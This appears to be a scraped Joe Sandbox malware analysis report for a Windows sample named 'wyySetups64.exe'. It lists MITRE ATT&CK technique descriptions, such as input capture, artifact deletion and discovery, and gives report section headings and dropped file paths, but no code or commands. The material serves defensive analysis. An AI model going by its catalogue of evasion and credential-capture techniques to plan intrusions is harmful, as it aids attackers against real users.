Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wyySetups64.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\360\360Safe\{350AFA5A-DE93-44a5-980D-D55D415A843C}.tf

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\360instpatch[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\PolicyManagement.xml

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp (copy)

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.P2P

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.dir\setup.ini

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.mem

Windows Analysis Report
wyySetups64.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre